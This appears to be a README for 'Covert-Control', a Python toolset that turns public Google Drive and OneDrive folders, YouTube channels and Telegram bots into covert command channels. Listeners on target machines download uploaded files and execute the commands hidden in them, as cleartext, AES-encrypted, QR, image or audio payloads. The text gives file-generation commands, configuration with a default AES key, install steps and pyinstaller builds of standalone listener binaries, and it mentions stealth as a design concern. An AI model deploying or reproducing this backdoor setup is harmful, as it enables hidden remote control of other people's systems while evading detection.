Covert-Control : Google Drive, OneDrive And Youtube As Covert-Channels – Control Systems Remotely By Uploading Files To Google Drive, OneDrive, Youtube Or Telegram

Covert-Control systems remotely by uploading files to Google Drive, OneDrive, Youtube or Telegram using Python to create the files and the listeners. It allows to create text files, images, audio or videos, with the commands in cleartext or encrypted using AES.

• covert-googledrive.py – Control systems uploading files to a public folder in Google Drive.
• covert-onedrive.py – Control systems uploading files to a public folder in OneDrive.
• covert-youtube.py – Control systems uploading videos to Youtube (updated from covert-tube).
• covert-telegram.py – Control systems with a Telegram bot.

Create Files To Upload

You can find example files in the folder test_files or create new ones with generate_file.py:

python3 generate_file.py -t TYPE [-o OUTPUTFILE] [-c COMMAND] [-e]

• -t (–type) [Required]: Types of file: “text”, “image”, “audio” or “video”.
• -o (–outputfile) [Optional]: Output file.
• -c (–command) [Optional]: Command to execute.
• -e (–encrypted) [Optional]: Add this flag to encrypt the command with AES.

Examples:

python3 generate_file.py -t text -c “whoami” -o text.txt
python3 generate_file.py -t text -c “whoami” -o text_encrypted.txt -e
python3 generate_file.py -t audio -c “whoami” -o audio.wav
python3 generate_file.py -t audio -c “whoami” -o audio_encrypted.wav -e
python3 generate_file.py -t image -c “whoami” -o image.png
python3 generate_file.py -t image -c “whoami” -o image_encrypted.png -e
python3 generate_file.py -t video -c “whoami” -o video.avi
python3 generate_file.py -t video -c “whoami” -o video_encrypted.avi -e

Configuration

Common configuration values:

• data_type (Optional. Default: “text”):data_typeFile typeEncryptedValid forExtensiontextText fileNoGoogle Drive, OneDrive.txttext_encryptedText fileYesGoogle Drive, OneDrive.txtimageImageNoGoogle Drive, OneDrive.pngimage_encryptedImageYesGoogle Drive, OneDrive.pngaudioAudioNoGoogle Drive, OneDrive.wavaudio_encryptedAudioYesGoogle Drive, OneDrive.wavvideoVideoNoGoogle Drive, OneDrive, Youtube.avivideo_encryptedVideoYesGoogle Drive, OneDrive, Youtube.avi
• delay_seconds (Optional. Default: 300): Seconds between checks of new files uploaded to the Google Drive or OneDrive folder or new videos in the Youtube channel.
• aes_key (Optional. Default: “covert-control21”): Key for AES encryption.
• debug (Optional. Default: True): Print messages and timestamps in the listener or not.

Specific configuration values:

• googledrive_folder: Url of public Google Drive folder to monitor (for covert-googledrive.py).
• onedrive_folder: Url of public OneDrive folder to monitor (for covert-onedrive.py).
• youtube_channel_id: Youtube channel ID of the channel to monitor. You can get it from here (for covert-youtube.py).
• youtube_api_key: Get an API key creating an application and generating the key in here (for covert-youtube.py).
• telegram_token: Bot token, create it using BotFather. Write “/newbot”, then send a name for the bot (for example, “botname”) and a username for the bot ending in “-bot” (for example, “somethingrandombot”) (for covert-telegram.py).
• telegram_username: Specify a Telegram username so it only executes commands received from this user (without “@”).

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Google Drive

It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py:

python3 covert-googledrive.py [FOLDER_URL]

The listener will check the Google Drive folder every 300 seconds by default (can be updated in config.py). In this case a video, “video.avi”, is uploaded with the command in the QR of the video:

After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed:

Onedrive

It allows to execute commands uploading text files, images, audio and videos, unencrypted or encrypted with AES. The optional input argument is the public folder url, which can be also configured in config.py:

python3 covert-onedrive.py [FOLDER_URL]

The listener will check the OneDrive folder every 300 seconds by default (this can be updated in config.py). In this case an audio, “audio_encrypted.wav”, is uploaded with the command encrypted with AES:

After finding there is a new file uploaded to the folder, it is downloaded, processed and the commands are executed:

NOTE: This will only work if you do not delete any file in the folder, if you do it you must create a new one. It could be possible to implement it to work even after deleting files, but it would be necessary to create many requests and would be less stealthy.

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Youtube

It allows to execute commands uploading videos, unencrypted or encrypted with AES. The optional input arguments are the Youtube channel ID to monitor and the API key, which can be also configured in config.py:

python3 covert-youtube.py [CHANNEL_ID] [API_KEY]

The listener will check the Youtube channel every 300 seconds by default (this can be updated in config.py). First the video is uploaded:

After finding there is a new video in the channel, it is downloaded, processed and the commands are executed:

Telegram

Control systems remotely with a Telegram bot. This option does not allow to upload files, but it is possible to send the commands in cleartext (“/cmd”) or encrypted with AES (“/encrypted”). The first optional input argument is the bot token, which can be also configured in config.py; the second one is used to configure a single Telegram user who can send commands to the bot (without “@”):

python3 covert-telegram.py [BOT_TOKEN] [TELEGRAM_USER]

The listener will check the commands in the chat and show the output:

/cmd CLEARTEXT_COMMAND
/encrypted AES_ENCRYPTED_COMMAND

Installation

sudo apt install libzbar0
pip install bs4 Pillow opencv-python pyqrcode pypng pyzbar youtube_dl pytesseract python-telegram-bot requests argparse pycryptodome
git clone https://github.com/ricardojoserf/covert-control && cd covert-control/

Creating standalone binaries

pyinstaller –onefile covert-googledrive.py
pyinstaller –onefile covert-onedrive.py
pyinstaller –onefile covert-telegram.py
pyinstaller –onefile covert-youtube.py
rm -rf build
rm *spec
ls dist/